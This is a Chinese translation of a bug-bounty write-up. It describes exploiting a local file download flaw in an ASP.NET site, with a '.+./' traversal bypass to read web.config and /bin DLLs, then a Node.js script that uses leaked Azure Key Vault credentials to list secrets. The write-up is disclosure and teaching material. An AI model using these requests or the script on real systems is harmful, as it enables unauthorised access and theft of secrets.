价值17000美元的本地文件下载漏洞

iso60001  2166天前

22.png

ASP.NET的Web应用中比较常见的漏洞之一是本地文件泄露。如果您从未研究过相关技术,那么如何利用本地文件下载漏洞(LFD)可能会让您感到无所适从。在下面的文章中,我将描述一个受LFD漏洞影响的Web应用,然后利用这个漏洞控制服务器。

确认漏洞

在测试目标网站时,我看到了这样一个url…

https://domain.com/utility/download.aspx?f=DJ/lc1jVgHTZF...

当加载页面时,这个url会从服务器上的另一个路径下载帮助文档。我不认为我能够篡改这个url,因为它的参数是被加密的,但是再一想。如果我能够找到密钥来解密参数(可能是AES加密算法),那么我可以伪造参数并找到一个LFD漏洞。

令我惊讶的是,我最终看到在这个网站的老版本上看到了相同功能的链接,具有如下

https://domain.com/utility/download.aspx?f=file1234.docx

这个请求的并返回包内容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 27363

Ïó|uœZ^tÙ¢yǯ;!Y,}{ûCƒ³/h>
...

我看到这之后做的第一件事是把字符串download.aspx作为参数,令我惊讶的是,请求返回了这个页面的源码。

GET /utility/download.aspx?f=download.aspx

HTTP/1.1 200 OK
Connection: close
Content-Length: 263

<%@ Page Language="C#" AutoEventWireup="true" Debug="true" %>
...

读取download.aspx的源码表明我可以访问任意文件,但这其实还是存在限制,因为真正的源代码(存储文件的实际来源)位于文件filename.aspx.cs。我尝试读取它,但并没有用。

事实证明,在我的测试这个漏洞过程的中,始终无法访问.aspx.cs文件。 (有关.aspx和.aspx.cs文件之间差异,https://stackoverflow.com/questions/13182757/what-is-the-difference-between-aspx-and-aspx-cs)。

我必须找到解决这个问题的方法,但是现在,让我们尝试从不同的目录中读取尽可能多的文件,这样我们就可以了解更多。

绕过遍历文件的阻碍

我在测试过程发现我无法在末尾添加两个点(..),否则请求将响应400。

为了绕过,我采取的一种模糊测试看是否有任何字符可以生效。

我使用了以下请求...

GET /utility/download.aspx?f=.[fuzz]./utility/download.aspx

33.png

我开始手动遍历所有字符直到看到含有.+./utility/download.aspx的url成功返回了download.aspx的内容。很好,现在我们就可以遍历目录了。为什么这样会生效?我不确定。我在我自己的搭建的ASP.NET应用上尝试过这个,看看它是否具有通用性,但测试过不行。我的猜测是这和Window中含有空格文件名的内部逻辑有关,但我还未彻底研究。


证明漏洞影响

因为我现在可以跨目录读取阅读文件,所以我尝试的第一件事就是读取.ashx文件。因为这些是处理程序而不是表示文件(https://www.dotnetperls.com/ashx),我猜测它们也能被访问。

果然有效!

HTTP/1.1 200 OK
Connection: close
Content-Length: 2398

<%@ WebHandler Language="C#" Class="redacted.redacted" %>

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports System.IO
Imports System.Web
Imports System.Configuration
...

这至少表明我能够读取一些更为敏感的东西。我的下一步是阅读更多的源代码。

我在阅读ASP.NET文档时发现的一点是,编译后的类保存在/bin/className.dll中。这意味着我们应该能够提取.ashx文件中引用的类名。

通过发送以下请求,我能够读取源文件的DLL(有关DLL的更多信息,https://blogs.msdn.microsoft.com/tom/2008/07/21/asp-net-tips-loading-a-dll-out-of-the-bin-directory/

GET /utility/download.aspx?f=.+./.+./bin/redacted.dll

下载后,我可以使用使用dnSpy导入DLL并恢复应用程序的源,此外还有更多的类可以从中取得。

44.png

web.config 泄露 Azure Key,漏洞影响达到致命

web.config是ASP.NET应用中最常使用的文件之一。

这个文件本质上是一个设置文件,包含从单个页面到整个Web服务器的所有额外变量。这里也存储了许多敏感信息,比如数据库的凭证、上面提及的参数的加密密钥,以及应用程序使用的内部接口。

下面是一个web.config文件的示例

<?xm l version="1.0" encoding="utf-8"?>
<!--
      For more information on how to configure your ASP.NET application, please visit
  http://go.microsoft.com/fwlink/?LinkId=301880
  -->
<configuration>
  <appSettings>
    <add key="webpages:Version" value="3.0.0.0" />
    <add key="webpages:Enabled" value="false" />
    <add key="ClientValidationEnabled" value="true" />
    <add key="Unobtrusiveja vasc riptEnabled" value="true" />

    <add key="PodioClientId" value="" />
    <add key="PodioClientSecret" value="" />

    <add key="AppId" value="" />
    <add key="SpaceId" value="" />
  </appSettings>

  <connectionStrings>
    <remove name="umbracoDbDSN" />
    <add name="PodioAspnetSampleDb" connectionString="server=WSA07;databa se=PodioAspnetSampleDb;user id=sa;password=pass" providerName="System.Data.SqlClient" />
  </connectionStrings>

  <system.web>
    <compilation debug="true" targetfr amework="4.5" />
    <httpRuntime targetfr amework="4.5" />
  </system.web>
</configuration>

为了读取目标的web.config文件,只需发送以下请求

GET /utility/download.aspx?f=.+./.+./web.config

该请求返回的内容包括了很多敏感信息——但最糟糕的是暴露了以下密钥


...
<add key="keyVaultDataPlaneUri" value="redacted" />
<add key="uniqueKeyVaultNameUri" value="redacted" />
<add key="keyVaultClientId" value="redacted" />
<add key="keyVaultClientSecretIdentifier" value="redacted" />
<add key="keyVaultClientTenantName" value="redacted" />
<add key="keyVaultAuthenticationContextUri" value="redacted" />
<add key="keyVaultApiVersion" value="2016-10-01" />
...

如果正确使用,我就可以访问Azure Key Vault实例。Azure Key Vault通常用于为Web应用保存密钥和秘密,通常是一些非常敏感的数据。

接下来的问题是找到正确的方式来发送请求。在与shubs交谈之后,他快速地写出一个Node.js脚本,以便使用泄露的密钥访问Azure Key Vault实例…

var KeyVault = require('azure-keyvault');
var AuthenticationContext = require('adal-node').AuthenticationContext;

var clientId = "clientId";
var clientSecret = "clientSecret";
var vaultUri = "vaultUri";

// Authenticator - retrieves the access token
var authenticator = function (challenge, callback) {

  // Create a new authentication context.
  var context = new AuthenticationContext(challenge.authorization);

  // Use the context to acquire an authentication token.
  return context.acquireTokenWithClientCredentials(challenge.resource, clientId, clientSecret, function (err, tokenResponse) {
    if (err) throw err;
    // Calculate the value to be set in the request's Authorization header and resume the call.
    var authorizationValue = tokenResponse.tokenType + ' ' + tokenResponse.accessToken;
    console.log(authorizationValue);
    return callback(null, authorizationValue);
  });

};

var credentials = new KeyVault.KeyVaultCredentials(authenticator);
var client = new KeyVault.KeyVaultClient(credentials);

client.getSecrets(vaultUri).then(function(value) {
    console.log(value);
});

接受到的回应

{ id:
     'https://redacted.vault.azure.net/secrets/ftp_credentials',
    attributes:
     { enabled: true,
       created: 2018-01-23T22:14:18.000Z,
       updated: 2018-01-23T22:14:18.000Z,
       recoveryLevel: 'Purgeable' },
    contentType: 'secret' } ]

... more secrets ...

到这里,这次渗透就结束了,因为最后我们已经可以完全在系统上进行写和读。

重点回顾

ASP.NET不能访问源文件?从/bin/className.dll读取。

想看一些很敏感的数据吗?从web.config中读取。

如果您想更好地渗透ASP.NET应用,请花一些时间研究它们。如果您能够克服几乎每个请求中都带有的看上去很糟糕的令牌,那么您将开始注意到许多应用都会存在的漏洞(XSS、身份验证绕过、shell上传、LFD和LFI等)。

节日快乐!

——@samwcyo

时间线

漏洞上报——2018年9月25日

漏洞鉴别——2018年9月27日

奖励17000美元——2018年9月29日

原文链接:https://samcurry.net/reading-asp-secrets-for-17000/

最新评论

昵称
邮箱
提交评论